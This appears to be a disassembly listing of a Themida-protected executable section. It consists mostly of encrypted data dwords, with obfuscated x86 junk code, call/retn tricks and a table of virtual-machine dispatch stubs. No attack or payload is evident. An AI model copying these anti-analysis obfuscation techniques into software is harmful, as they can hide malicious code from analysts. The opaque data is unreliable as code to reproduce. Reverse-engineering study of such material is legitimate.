dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh
dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
dd 0D554A851h, 0D7BA8660h, 0EBCE2559h, 0F1439352h, 62CC32DCh
dd 71BA8C0Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h
dd 2C4DEF80h, 3ADF0746h, 0D552B119h, 5E0003C6h, 2A5492B8h
dd 0AE307515h, 0A75CDDAEh, 0BB02578Fh, 0B0D9FB57h, 0A45CC28Dh
dd 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h, 6DBD32DCh
dd 2F168C0Ch, 331C30CBh, 2B967513h, 2ABD5414h, 0C3458A15h
dd 0E3A8EDDAh, 0BA4582D7h, 3044h, 0A3720CEBh, 80FC3D38h
dd 9EDF669Ah, 69E9D9ADh, 0E9000006h, 65Dh, 811F8B7Eh, 95339D91h
dd 0AD4BADA5h, 0C361C7BDh, 0D876DED3h, 0A99E0C6Bh, 0BCB3A341h
dd 0D1CABA58h, 0E9E3D371h, 8DEEED8Bh, 254F41Ch, 96E8FB76h
dd 0B4B7150Fh, 0A2A505FEh, 173FB039h, 2D6FE907h, 82D0CF39h
dd 0D2494018h, 0E9073961h, 0BDF6406Fh, 0E155ECF9h, 0CDD06800h
dd 0B7BA2217h, 0F9A40C01h, 0C5C82C23h, 6C22056Fh, 8F651076h
dd 463D3597h, 0DF9578E2h, 0CD2B25E7h, 52E074CAh, 64490712h
dd 0A95F62FAh, 0ED484BB5h, 46B863FEh, 1290870h, 92A236E5h
dd 5E9835Ch, 0CB8BA4F3h, 0B13ACE03h, 0AEB1DAAFh, 0D6EB3256h
dd 0B372CABCh, 0B5E05250h, 8AD06A37h, 75B135BEh, 0DAD64456h
dd 0CB6E510h, 0AEB120BFh, 0A3923D56h, 457B000Bh, 0E42CB78Eh
dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB63E9C6h
dd 0F53FD525h, 0A9E4ADFDh, 3422916Ch, 0AC7ACFB7h, 0AD29B723h
dd 0FD7A1A20h
dd 7C277975h, 0E42F6898h, 0D8FFA073h, 5E98321h, 0DB8BA4F3h
dd 75A4BD8Dh, 8D8D0619h, 619FE43h, 156644B8h, 0C1CF2B32h
dd 73102E9h, 0C783C8D0h, 0F6754904h, 0FE9h, 0E83DA900h
dd 91AF7010h, 7DF2A8D7h, 8B1EBCDCh, 7BDB8060h, 14E9h, 0EDBD1A00h
dd 0DF6B3C38h, 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 0BE96153h
dd 25000000h, 21A966F6h, 0A525EFB5h, 75688D15h, 89000072h
dd 0E9582404h, 0Bh, 62D0F029h, 5853AEACh, 83364B41h, 121B91BDh
dd 9750006h, 17DDBD83h, 74000612h, 8B535019h, 411B8C0h
dd 85890000h, 6122295h, 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh
dd 61217DDh, 50177400h, 411B853h, 85890000h, 6122295h
dd 0AB179D8Dh, 0D3FF0614h, 5660585Bh, 0A6D0F0BBh, 0B9665A56h
dd 0F61F3CEh, 185h, 14E9F500h, 0B3000000h, 4E134B0Ch, 742BEA45h
dd 0B9A8C4EAh, 12FF82A9h, 81FAE550h, 4ECh, 24048900h, 8DF8F958h
dd 1A021B8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0A1DDB2A0h, 0AAF68173h, 892549EDh
dd 1209A18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8AA52A05h, 585C7E2h, 0BC061205h
dd 60000067h, 0D38B0CB6h, 0D985C761h, 6121Bh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 7ED2C355h, 0D678C681h, 0B5FF482Dh, 6122381h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E2C35242h
dd 0CD1C2EACh, 0F9A23B5h, 8589FABFh, 612005Dh, 1B3195FFh
dd 0CE810612h, 41A05E07h, 1EE9BD01h, 6A0612h, 19CD95FFh
dd 0C08B0612h, 221539EBh, 53DEB198h, 7D362008h, 0AB680778h
dd 9B221680h, 98E17958h, 1BEC0C26h, 0BF76FA4Ch, 0A74F794Eh
dd 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 64FAEA6Ah, 85F14692h
dd 0E85ADBACh, 0Fh, 0E7A0BD7Fh, 697D81ABh, 650D3E75h, 8B50DF24h
dd 958B5ED8h, 6120901h, 60F1C681h, 0BF0F0000h, 0BFCEh
dd 0FFFC0000h, 81663734h, 58A929CBh, 0C810Fh, 850F0000h
dd 6, 541BD89h, 0F0810612h, 1FD2B626h, 816AC780h, 6034DFF0h
dd 8F0F6009h, 0
dd 5E8h, 875D1300h, 8D8B0D25h, 6121501h, 0C0816158h, 73CA94E2h
dd 30D1958Bh, 51500612h, 0CF8B6660h, 1FCE8166h, 8F5961F2h
dd 9D0B3E04h, 6120E45h, 2DEF81F8h, 8B4D6941h, 1210F595h
dd 29C78106h, 0F4D6941h, 685h, 0F59D0100h, 81061214h, 0FF9FC4FFh
dd 70850FFFh, 8BFFFFFFh, 0EDE9D1h, 66600000h, 4A8D88Ch
dd 0DF840Fh, 0B58B0000h, 6123185h, 0F00FE83h, 2285h, 7185C600h
dd 45061228h, 72696968h, 0B1B5FF8Eh, 8D061203h, 157F3585h
dd 89D0FF06h, 1230FD85h, 80F08B06h, 850FE93Eh, 31h, 8725858Dh
dd 0D0FF0617h, 9C1BD8Bh, 0C7810612h, 1184h, 3185B58Bh
dd 0F7870612h, 8B9h, 8BA4F300h, 123185B5h, 0C2858D06h
dd 0FF06163Eh, 79B58BD0h, 83061229h, 850F00FEh, 22h, 287185C6h
dd 68540612h, 0FF4EBEF4h, 3B1B5FFh, 858D0612h, 6157F35h
dd 8589D0FFh, 6122979h, 3E80F08Bh, 3A850FE9h, 8B000000h
dd 122979B5h, 25858D06h, 0FF061787h, 0C1BD8BD0h, 81061209h
dd 1184C7h, 8C78300h, 2979B58Bh, 0F7870612h, 8B9h, 8BA4F300h
dd 122979B5h, 0C2858D06h, 0FF06163Eh, 8DC361D0h, 1A031C85h
dd 91858906h, 0E9061218h, 12h, 13A4B7E2h, 3 dup(0)
dd 83E90000h, 68000004h, 61A0514h, 0F87BC4E9h, 59C68FFh
dd 0BAE9061Ah, 68FFF87Bh, 61A06F7h, 0F87BB0E9h, 0FF6B5EFFh
dd 137D7161h, 2B8D8575h, 41A79D8Dh, 56BEB3A3h, 7EEC4BB8h
dd 93832189h, 0AA9A389Ch, 0C3B351B1h, 0CECD6BC9h, 0BD4FC6Dh
dd 0C8DB7603h, 0B21A0F76h, 0A1FFF9AFh, 0E47F6E03h, 467C839h
dd 58A669FBh, 6CDDD7ADh, 0FB0CD3FBh, 0F48CDA75h, 0E0443BF1h
dd 92FBDE48h, 5B5EC8BCh, 0FC289B05h, 3475FB0Bh, 50A77B5Bh
dd 97DE2F80h, 2D5h, 5982AD3Dh, 0B324CF52h, 69FB2F16h, 6CBFB907h
dd 989E88C7h, 731EA5A8h, 72542502h, 23267465h, 6542C5C8h
dd 534A1468h, 0AA0A03FBh, 55DE6712h, 4E90BCE4h, 7D75C36Dh
dd 44B72187h, 6760C6C3h, 7B51FC4Ah, 95852381h, 234B3D9Bh
dd 0C87DD282h, 2ED40E5h, 30230000h, 423626C4h, 524A3AD8h
dd 6C6252F0h, 83786806h, 0B1107D1Bh, 48E64E43h, 5FFD6158h
dd 7816766Fh, 92308E88h, 99C13293h, 0A076030Ch, 0EA5C3B8Dh
dd 0D9BDB68Ch, 0A7248E43h, 9C721DA4h, 0E83E41A5h, 4482F37Eh
dd 4B69F389h, 877C52FDh, 55DE811Fh, 89335BCCh, 0EC3A7603h
dd 3893159h, 0F2EA3876h, 3E9497FBh, 9F07FCD4h, 88C1339Ch
dd 0F9D4BF67h, 83A2157Fh, 91963125h, 9D473997h, 0BA7F6461h
dd 26532D7h, 0B8AB0000h, 0CABEAE4Ch, 0DAD2C260h, 0F4EADA78h
dd 0B00F08Eh, 399805A3h, 0D06ED6CBh, 0E785E9E0h, 9EFEF7h
dd 1AB81610h, 2149BA1Bh, 2876030Ch, 636AC315h, 86C435E0h
dd 0DD69F303h, 44AE0E07h, 0C3141765h, 76030B97h, 4216F6CFh
dd 0DE3782EBh, 1A432h, 2A008900h, 163ED131h, 2C760303h
dd 85D3D234h, 150FDF1Bh, 4FEB4B7h, 787308A6h, 10CD3EE9h
dd 4169FB1Eh, 739FF0F3h, 0AB75FB22h, 9A70F2D2h, 0E93F42A0h
dd 22A5CD3Eh, 66B475FBh, 99C81FFCh, 4BBDDE2Fh, 6695E32h
dd 8EC7316Bh, 3Fh, 80636A34h, 0C91F228Ch, 27FD8631h, 11C7CA32h
dd 0B51FB719h, 0FB114142h, 777AC869h, 59169C0Eh, 0E7ACB043h
dd 0D367483Ch, 43AD2BFAh, 0FBD5A4D0h, 2303DC75h, 3048F84Fh
dd 0B93FDEh, 0FE50000h, 0F9635715h, 0B3A85E61h, 9892484Bh
dd 0C3B98F3Ah, 0BA305FDh, 4CB61E13h, 0EE770069h, 0E907557Dh
dd 8316646Fh, 6FE9075Bh, 0D2AA1462h, 0BC261AD8h, 0D46CCAC4h
dd 0F65E5329h, 0B5339DF3h, 0E9022C2Ah, 92F0EA6Fh, 0D56C5FF4h
dd 0FE2FA12Ah, 6A3BADAAh, 0D373E650h, 3A69FE5Dh, 766B41ECh
dd 988D630Eh, 5848C630h, 0B85FFF63h, 2BF17A0Ch, 731A193h
dd 270A7336h, 10A82h, 0A7130600h, 0BB251909h, 0D3352D1Dh
dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h
dd 6B5BF959h, 76751371h, 0D7CA415h, 70837603h, 0B21A0F1Eh
dd 0D63A3107h, 4FEEE6Ch, 0FB408A6h, 0FEB4B715h, 6508A604h
dd 8C37958Fh, 0E907F31Bh, 42ACFA6Fh, 0E6DBC6C5h, 8D257B7Eh
dd 4B9871E2h, 0B30169FBh, 0D53D3208h, 150AE06Bh, 58840FADh
dd 0BB75FB54h, 608D2749h, 2DD8A4ADh, 0FB8194BCh, 0E34D9B75h
dd 5F53110Bh, 0B1D94AF5h, 0B875FB81h, 4434D26Ah, 3FE4E74Fh
dd 6Fh, 0E0636AEDh, 0F408C335h, 0F8474F3Fh, 5092038Eh
dd 7F69F39Dh, 0DF77D9D1h, 0CE2C26DCh, 0E8464030h, 583594E5h
dd 1B88072h, 0CFC99F21h, 0BEB86E71h, 865EC860h, 11832E8Ch
dd 635C2DF7h, 38A56F03h, 630684EEh, 3134948Dh, 9F9971DBh
dd 0C7C09641h, 641AFD67h, 0AE05086Eh, 46400FEFh, 0D1A74AE8h
dd 350D77D9h, 35DADD3Bh, 3, 0F5995E3h, 0F7ADB01Ch, 0E69C9FFDh
dd 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh
dd 6C222587h, 4D0B0E78h, 81E28952h, 4C2h, 4EA8100h, 87000000h
dd 895C2414h, 1E68243Ch, 8900003Eh, 9F68241Ch, 89000079h
dd 0BF572434h, 7EA344E1h, 23E2E781h, 0DFF726C6h, 8147DFF7h
dd 0F94391EFh, 1FF7814Eh, 50D192B9h, 0C389F889h, 8B545F58h
dd 0C4832434h, 1A6F6804h, 1C890000h, 8468F24h, 5E2434FFh
dd 4C481h, 1C8B0000h, 0E0895024h, 405h, 40500h, 4870000h
dd 5AE95C24h, 3DFFF877h, 269F39D9h, 7C814869h, 689EBD65h
dd 26B8BDA8h, 3061A08h, 1DE0FFC5h, 0C00F3695h, 7334F8B0h
dd 0F636870Ah, 94035A44h, 0FB192FCFh, 0BF6F348Eh, 7D5605F5h
dd 0E825E86Bh, 14h, 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h
dd 5AF950D6h, 0F8BF0F5Bh, 7364C381h, 890F0000h, 1Fh, 198C0Fh
dd 13E80000h, 97000000h, 0F5D0F9B6h, 3B34F330h, 750115C1h
dd 8E5AE66h, 0BA5875B2h, 0
; ---------------------------------------------------------------------------
pusha
jle loc_5C734D
jo $+6
loc_5C734D: ; CODE XREF: Themida_:005C7341j
jmp loc_5C735D
; ---------------------------------------------------------------------------
push 0D6DD99F0h
rcl dword ptr [ecx-1979E7CDh], cl
loc_5C735D: ; CODE XREF: Themida_:loc_5C734Dj
popa
loc_5C735E: ; CODE XREF: Themida_:005C73EBj
push dword ptr [edx+ebx]
mov esi, 7286DADFh
pop ecx
jmp loc_5C7374
; ---------------------------------------------------------------------------
cdq
fimul word ptr [ebx]
lodsb
and [edx+53h], esp
lodsb
loc_5C7374: ; CODE XREF: Themida_:005C7367j
sub ecx, 2DD34DD3h
jp loc_5C7381
cmc
loc_5C7381: ; CODE XREF: Themida_:005C737Aj
xor ecx, 5E9F9240h
mov eax, 14A82CD1h
add ecx, 13C53EC7h
jmp loc_5C73A6
; ---------------------------------------------------------------------------
db 14h
dd 71088A9Dh, 1D935C5h, 4B28C851h
db 0EFh, 1Bh
; ---------------------------------------------------------------------------
loc_5C73A6: ; CODE XREF: Themida_:005C7392j
mov [ebx+edx], ecx
or si, 0D876h
jmp loc_5C73C4
; ---------------------------------------------------------------------------
db 4Ch
dd 85EE2C5h, 52CBD6C5h, 0CA55E1ECh, 0B797E517h
; ---------------------------------------------------------------------------
loc_5C73C4: ; CODE XREF: Themida_:005C73AEj
sub edx, 30B55FD6h
js loc_5C73D9
jno loc_5C73D9
mov ax, dx
loc_5C73D9: ; CODE XREF: Themida_:005C73CAj
; Themida_:005C73D0j
add edx, 30B55FD2h
jl $+6
cmp edx, 0FFFF8D94h
jnz loc_5C735E
mov ax, dx
lea ecx, [ebp+61A0ABDh]
push 0
push ebx
call sub_5C7405
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7405 proc near ; CODE XREF: Themida_:005C73FDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C7405 endp
; ---------------------------------------------------------------------------
sub eax, 42A7600Eh
db 36h
scas dword ptr es:[edi]
xchg esp, [edi+3Bh]
mov [ebp+61209A1h], ecx
mov dword ptr [ebp+6120505h], 5D18h
push 0
push esi
call sub_5C743A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C743A proc near ; CODE XREF: Themida_:005C7432p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5C743A endp
; ---------------------------------------------------------------------------
dw 0C7EDh
dd 121BD985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0FA393AD7h, 0B5FF1DD1h
dd 6122DB9h, 10E950h, 50F10000h, 97184CAh, 92FBC934h, 5C930BC3h
dd 0FF5FBA48h, 121B3195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D605DA81h
dd 0FB5240Bh, 28Dh, 60D88A00h, 3C5B589h, 61FC0612h, 95FF006Ah
dd 61219CDh, 4FEBC08Bh, 7AF27F79h, 1197FFEDh, 0AE5C797Dh
dd 2AE9D643h, 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0F51B2304h
dd 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0FAB90B51h, 505AD351h
dd 3D7627Dh, 2DF2F870h, 46F08FFDh, 27C7B067h, 3E83BED2h
dd 13469473h, 0E92B0B9Bh, 1Ch, 5205B12Bh, 416C7452h, 636F6C6Ch
dd 48657461h, 706165h, 140000h, 0
; ---------------------------------------------------------------------------
jmp loc_5C865D
; ---------------------------------------------------------------------------
push 61A0D25h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A0E16h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A1057h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A116Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A1486h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A1541h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A158Fh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A16BAh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A174Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A17FCh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A19C2h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61A1AB0h
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 0BEh, 0CBh, 5Fh
dd 73DDD1C1h, 8BEDE5D5h, 0A107FDEDh, 0B61E1303h, 0DE4CAB18h
dd 0F3E381E9h, 0AFA98FCh, 2313B111h, 2E2DCB29h, 12345CCDh
dd 283B7603h, 8F865CD6h, 0BACD8D2Fh, 0AD454610h, 13716B43h
dd 349E9268h, 3731E7CAh, 2720D6D9h, 0AE6DC4C7h, 0A705FFCEh
dd 5C241909h, 0A9FF0264h, 89837311h, 0DA72D2CBh, 0C92721D7h
dd 0C97962Bh, 0B833F061h, 146269FBh, 359F9369h, 8F72DC32h
dd 0FB88123Eh, 0CF2F2875h, 0BC1E16CCh, 0C3A362B9h, 88A8D041h
dd 69B775FBh, 4222FBD1h, 3000176Eh, 40360CDEh, 1781D7DAh
dd 2EDEh, 636A8400h, 7345CCDh, 8D3B6FE9h, 0A0983098h, 0FFAA42ACh
dd 0FB118D8Eh, 6B6EBC69h, 0FB1EEE1Ah, 6D4D2675h, 2F924299h
dd 0DA89DEh, 0F2F0000h, 0FEB4B715h, 0E8484109h, 9D974D50h
dd 793BB2Ch, 4C9A6FE9h, 1FBB1B4h, 3586F8A3h, 34E664D5h
dd 0CFD23A2Fh, 0F977E179h, 0E9EC6F6Eh, 4DABA56Fh, 4AF30A2h
dd 1E396FDEh, 0F8BE8E8Fh, 0AB15ADDDh, 0E5433D2Dh, 1840B13Ah
dd 276FE907h, 318C6FD9h, 73FCA73Ah, 75179EAh, 0A586FE9h
dd 6842DA0h, 13E969FBh, 5EB4B71Dh, 1CC715F4h, 84EE4C46h
dd 0E77A7106h, 0A99CCB3Ch, 63B1700Fh, 85EDE2B8h, 8702F7E7h
dd 0D7EFA015h, 992C037Bh, 6FEFEE71h, 0A0922A78h, 79435640h
dd 7B8F3417h, 3400000Eh, 4737D541h, 5B4BE953h, 73630163h
dd 8979177Dh, 218E2C94h, 0F75F54C6h, 0E726959h, 27878070h
dd 419F9989h, 0D243A4A3h, 760314AAh, 0F4C9EB1h, 2414B21Ah
dd 0DA2ECC2Ah, 35E0636Ah, 0FB11C3C4h, 0CEC89E69h, 5A1B6D70h
dd 10CC1105h, 9675DF77h, 0C8F44548h, 0DE75FBD4h, 0CD8386E4h
dd 557174D4h, 0F4EDBC9Ch, 4D26FC94h, 4842996Dh, 0BE89DE30h
dd 2F000000h, 0CB7150Fh, 0D9DC3E36h, 80361983h, 0CF20238Bh
dd 6FE902D0h, 8E2C8A84h, 4346A49Eh, 6A62E5E8h, 4FDB1BC8h
dd 0CDD0362Ch, 9C47DF77h, 0FF69D1C6h, 715A0374h, 156369FBh
dd 58EBE277h, 564E24ADh, 0F9178AF4h, 68701016h, 0C7466EDFh
dd 7556FEFh, 0C570BE9Dh, 0ECAECA3Ch, 0C3D59087h, 248C8159h
dd 140DE386h, 0F15BB1B4h, 635C2419h, 12AA0003h, 4432BE20h
dd 5AA8D79h, 0D8Ah, 28C63225h, 3CDA4438h, 54F2544Ch, 6A086E64h
dd 7F1D857Ah, 5045B712h, 635A4AE8h, 787161FFh, 908A7A18h
dd 34959432h, 3159BC3h, 3D8FA276h, 14B21A0Fh, 48B92A24h
dd 6FE90720h, 0AB49E12Fh, 0B7150F57h, 0A604FEB4h, 2AD489FBh
dd 9F925483h, 0ED4346A6h, 0E26DEB55h, 6FE94EB6h, 1F14D2CCh
dd 0C65EB4B7h, 0E03E3828h, 0CF2D27DDh, 5A2016CCh, 6366FE64h
dd 4C4FB9ADh, 0D65838EFh, 0E94E3D65h, 66FE4C6Fh, 0ED6F4F08h
dd 4ECBF364h, 84D26FE9h, 2B2E988Ch, 99936BD5h, 51A89D3Bh
dd 98D81DC2h, 9Fh, 0E0636A3Eh, 0DED6AC35h, 2BC3231Ch, 18194EC1h
dd 0DA2869FBh, 185A86D7h, 0B99275FBh, 8FAE05D9h, 78F5DE2Fh
dd 9B000000h, 0E9074774h, 0DCD4AA6Fh, 9893107Ah, 0A0ED5E09h
dd 0F169FB28h, 201505A3h, 280C34A5h, 0C51375FBh, 0DCCF2A2Dh
dd 0A0119A45h, 75FB2878h, 8DB52687h, 9C75FB28h, 0C14CB64Eh
dd 0D415B50h, 0F19CEA70h, 0BEFA897Fh, 0F45EC22Bh, 318D8676h
dd 3F44FC13h, 0CFD26A27h, 3FEA7974h, 0FC26BDCEh, 0D0CAA069h
dd 1E847A72h, 0E987D5B4h, 0C95CD446h, 5D472A11h, 9192CF3h
dd 5CDA0000h, 73A62D3h, 0F3416FE9h, 9FA202FBh, 6B62DF49h
dd 33A42DD8h, 6FE9070Bh, 0BEBD2319h, 0A7B0670h, 69FB2605h
dd 0A2F3F644h, 75FB2A76h, 21F5D5AEh, 0DE2FA1CAh, 1A11h
dd 865CB700h, 0D3292C8Eh, 7CAF669h, 0E8E06FE9h, 36CE2C26h
dd 0FC33B79Eh, 6A65FFFFh, 0C435E063h, 69FB111Fh, 4C9DA0EEh
dd 75FB1D20h, 0D6D94136h, 42C62C20h, 0E6612B13h, 167F821Ah
dd 0FB2A7DA5h, 9F3E8C75h, 0C39908E8h, 0B2880AEAh, 0FF5558BAh
dd 0A261B895h, 0C9A8DE2Fh, 4E000004h, 535A8FADh, 0C69C25D0h
dd 156B6ECCh, 0E9075A82h, 0A913616Fh, 2F10AD1Eh, 0B30169FBh
dd 0E17D9608h, 25D0742Ch, 8F8EE1BBh, 20CC3E43h, 0F9979A2Dh
dd 0E5D6B0C6h, 1C31A24Dh, 0ED19D239h, 4A419C9Fh, 0AD830CB7h
dd 0F74D50B8h, 0A2A507FFh, 166FE24Ch, 8713C1ADh, 0BEB88E39h
dd 0D8D2C260h, 0F14C887Ah, 8EBC979h, 0B4963h, 7736600h
dd 1B857969h, 33958D7Dh, 49AFA595h, 5EC6BBABh, 86F453C0h
dd 9B8B2991h, 0B2A240A4h, 0CBBB59B9h, 0D6D573D1h, 17DC0475h
dd 0D0E37603h, 0B7150F7Eh, 7E754BB4h, 3833B01Ah, 0BCE5CADh
dd 5500D057h, 0E915BCE4h, 0DD75C36Fh, 1B84C132h, 479569FBh
dd 5ACDC69Ch, 0FB0BC1E9h, 0E27AC875h, 0FB5B5444h, 0B7FA7F8h
dd 0CEFA75FBh, 3175FB1Bh, 0FCFF655Bh, 0CCBF3CA6h, 54198A35h
dd 0C9700D20h, 989BF9F3h, 2096BE2Fh, 57A56FE9h, 287655BFh
dd 0C233BC25h, 6FE9209Ah, 635B53A1h, 3EA8FE01h, 0E9209FCBh
dd 1EFED76Fh, 1D93F34Ah, 263AD8h, 5CE00000h, 73A62D3h
dd 0F3416FE9h, 82010C89h, 6DAF65D7h, 0ED91C4E0h, 5287F883h
dd 7369FB74h, 327D2225h, 2B000000h, 5BCD636Ah, 5945B916h
dd 537B0E9Eh, 5A6FE952h, 0C8F0610Ch, 0D76FE952h, 7046F189h
dd 0F768137Bh, 6FE952CFh, 9B2690DEh, 0FB59712Ah, 474A9869h
dd 0B7150F2Dh, 4A3CFDC5h, 963B1E79h, 0A32h, 801E8A7Dh
dd 94329C90h, 0AC4AACA4h, 0C260C6BCh, 0D775DDD2h, 0A89D0F6Ah
dd 0BBB2A240h, 0D0C9B957h, 0E8E2D270h, 8CEDEC8Ah, 318F31Bh
dd 95E7FA76h, 35E0636Ah, 0FB201FC4h, 4A40EE69h, 24278F84h
dd 9B9E36CEh, 0EF8DEBE5h, 0B455B764h, 8729284Eh, 422AEE16h
dd 0B8E05191h, 0C791422Ah, 942C7A79h, 0D76A61F6h, 0A91AA32Ch
dd 91422A81h, 5DD03A88h, 8B5431A4h, 0AE6467B5h, 1DB250BAh
dd 77E8932Eh, 914636B2h, 318285D3h, 91422D05h, 0ACA47A3Dh
dd 87F1474Ah, 0DB3206E6h, 22F976A4h, 108h, 6FEA5CC8h, 9C9C1EB0h
dd 0EBE25FC9h, 4E24AD58h, 1487F159h, 69FB996Fh, 974D509Eh
dd 0B1A13F9Dh, 9C04F9B7h, 86EEE399h, 0A85E5AEEh, 0DEEBA517h
dd 4DA4346h, 4DA3A610h, 72C370E3h, 7B324EB4h, 97A7199Bh
dd 0B852C4F6h, 0BFE75803h, 0CE914283h, 443E1680h, 5E5848E6h
dd 0FFACFD00h, 1569FBB8h, 4BABD1Bh, 42A6A90Dh, 0A13AA989h
dd 393302E2h, 534D3DDBh, 9697F2F5h, 5DB640Fh, 50A6A90Fh
dd 4D2B73E6h, 287275FBh, 0D338F501h, 50EE864Eh, 8631B0BBh
dd 0DB3E415h, 8A835970h, 93E1C02Ah, 82E0DA90h, 9CFAF4E4h
dd 93084899h, 4AD6FE9h, 6BD5352Eh, 211BEACAh, 0D49A25C3h
dd 3D1BBDCAh, 2111AF42h, 75C6C927h, 5E03549Dh, 0B122AB4Ch
dd 61FC1989h, 37D84290h, 308E8857h, 56B6AF85h, 1593FD53h
dd 0CACD2B25h, 3AE57C6Fh, 84E4DBB1h, 0B5C492Dh, 0A3A63E18h
dd 8B70E34Dh, 0FA5C0EECh, 552F0EACh, 0DD000000h, 5CCD636Ah
dd 6FE90734h, 0AA55ED3Bh, 797CDAD4h, 0BD2EB923h, 69FB3088h
dd 2EA04B99h, 0BF300916h, 75FBE397h, 41C458A6h, 0A78AF451h
dd 3D33FDF1h, 0E67ED4D7h, 0DACFA548h, 0AF196F72h, 865DD83Bh
dd 527AEB85h, 5975FB92h, 57C8730Bh, 75FB9227h, 35DF846h
dd 19B7150Fh, 4FFA8984h, 1A1D8379h, 5ECF5AC4h, 69FB003Dh
dd 0F1514A20h, 0AF5AA887h, 0E280E0D9h, 1586F9F2h, 75FB0DEDh
dd 1316AEFCh, 832EB5B8h, 5053B5ADh, 7C0590FAh, 0F7EDADA6h
dd 0A0388E91h, 1386C336h, 62EB700Dh
dd 0E913C9F1h, 2922D06Fh, 0D870C6C9h, 96418F6Eh, 5F62CCC0h
dd 74C0DB0Dh, 51E91CA0h, 87B304E7h, 0F86FE9DFh, 0B5150EF5h
dd 19C45CB2h, 0FBE3E3A8h, 29D42269h, 0DC072FA0h, 0C81675FBh
dd 0A0127B5Eh, 0C1563B27h, 970A74B3h, 75FB706Bh, 16EACAA3h
dd 0DE2FE3BFh, 86E4DEB4h, 55E31Ch, 5C890000h, 8C8DDDEAh
dd 6D9C40EDh, 3841837h, 82223A6Fh, 30C50753h, 0BAB12E98h
dd 0D46CD0C7h, 0D1CAA029h, 85186E71h, 6FE9175Dh, 29B41E6Ch
dd 0FB4083B8h, 0FC6DF669h, 75FB40D4h, 29677046h, 504F0024h
dd 0AF47ABA2h, 15186645h, 1870h, 4F9CF00h, 6AF6329Ch, 0AC35E063h
dd 137DDDD6h, 0FB0EE7A0h, 0A5A8F669h, 0B7150F8Bh, 4A3CF3C5h
dd 8C311479h, 71Ah, 9836A295h, 0AC4AB4A8h, 0C462C4BCh
dd 0DA78DED4h, 0EF8DF5EAh, 0C0B52782h, 0D3CABA58h, 0E8E1D16Fh
dd 0FAEA88h, 0A40504A2h, 31B0B33h, 0ADFF1276h, 404B80ADh
dd 484016C1h, 238DE3E6h, 2E8A2798h, 317B69FBh, 53DF72A8h
dd 3A7004F0h, 80496F48h, 156862FAh, 0B3C23AADh, 0E9942F1Eh
dd 4F8C9B78h, 0F19CEA2Eh, 0BBB88C7Fh, 339D37EAh, 6FF6F550h
dd 0DD124245h, 0DC04754Eh, 0E3322F72h, 0BA65FD95h, 41A8C849h
dd 8833812Ch, 0AF5AB8B2h, 4977123Dh, 6AD4E4BFh, 8CD749ECh
dd 2460BBA9h, 0EA7AAD17h, 45DD37A8h, 0AF0903DBh, 8FA3BDF4h
dd 2E20B860h, 0B4F58888h, 5FEB9073h, 50000006h, 6353F15Dh
dd 7767056Fh, 8F7F1D7Fh, 0A5953399h, 3DAA48B0h, 137B70E2h
dd 2A8E8575h, 43A39C8Ch, 5DBBB5A5h, 0EE5FC0BFh, 76031CC6h
dd 0F70C2D5h, 54A9BB15h, 0F3C953E6h, 0E9265A82h, 7B13616Fh
dd 1EBBF1E3h, 492C794Ah, 611A4h, 3FAB9E00h, 53BDB1A1h
dd 6BCDC5B5h, 81E7DDCDh, 96FEF3E3h, 0BE2C8BF8h, 0D3C361C9h
dd 0EADA78DCh, 3F391F1h, 0E0DAB09h, 1C143CADh, 81B7603h
dd 0B7150FB6h, 0CF5259B4h, 0E61B324h, 0FEAC69F3h, 6A08A00Ah
dd 0A04BD6D5h, 150C5E2Fh, 342D0370h, 418B6AD4h, 616F2Ah
dd 0F09B3399h, 53CEF667h, 8FDD6FF1h, 0C5F14225h, 0DB6FF153h
dd 0C67C7FE5h, 4C686BCFh, 0CE48B393h, 0B36D7B47h, 0EDB0861Eh
dd 6DCBF364h, 84D26FF1h, 0C599791Ah, 0D825E46Eh, 0CDB5h
dd 81AD5B00h, 756E5558h, 0E2B5D19h, 7D150560h, 0E63961D2h
dd 0F2406FE9h, 0A13EAF5Ah, 7069FC0Dh, 40057722h, 748F705h
